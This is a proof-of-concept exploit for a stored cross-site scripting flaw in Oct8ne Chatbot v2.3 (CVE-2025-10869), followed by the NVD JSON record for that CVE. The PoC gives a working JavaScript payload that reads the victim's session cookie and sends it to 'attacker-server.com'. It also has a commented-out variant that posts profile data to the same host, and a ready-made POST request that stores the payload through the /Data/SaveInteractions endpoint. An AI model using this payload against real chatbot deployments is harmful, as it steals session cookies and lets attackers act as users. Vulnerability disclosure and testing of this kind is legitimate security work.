CVE-2025-10869

<!-- PoC for CVE-2025-10869: Stored XSS in Oct8ne Chatbot v2.3 --> <!-- Attack Vector: Inject malicious payload via /Data/SaveInteractions endpoint --> <!-- Step 1: Craft malicious JavaScript payload to be injected into chat transcript --> <script> // Steal session cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the user // fetch('/api/user/profile', {credentials: 'include'}).then(r => r.json()).then(data => { // fetch('https://attacker-server.com/exfil', {method: 'POST', body: JSON.stringify(data)}); // }); </script> <!-- Step 2: Send POST request to the vulnerable endpoint /Data/SaveInteractions --> <!-- The payload will be stored in the chat transcript database --> POST /Data/SaveInteractions HTTP/1.1 Host: target-oct8ne-chatbot.com Content-Type: application/json { "interaction": { "message": "<script>var cookie=document.cookie;new Image().src='https://attacker-server.com/steal?cookie='+encodeURIComponent(cookie);</script>", "user": "[email protected]", "sessionId": "abc123" } } <!-- Step 3: When the transcript is sent via email to the victim, --> <!-- the malicious script executes in the victim's browser context --> <!-- upon opening the email or viewing the transcript page -->

{"cve": {"id": "CVE-2025-10869", "sourceIdentifier": "[email protected]", "published": "2025-10-15T13:16:00.870", "lastModified": "2025-10-30T16:29:49.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross-site Scripting (XSS) in Oct8ne Chatbot v2.3. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by injecting a malicious payload through the creation of a transcript that is sent by email. This vulnerability can be exploited to steal sensitive user data, such as session cookies, or to perform actions on behalf of the user, through /Data/SaveInteractions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oct8ne:chatbot:2.3:*:*:*:*:*:*:*", "matchCriteriaId": "3AE8851E-3C31-4DEA-98EB-5DCC5B842E0B"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/stored-cross-site-scripting-xss-oct8ne-chatbot", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}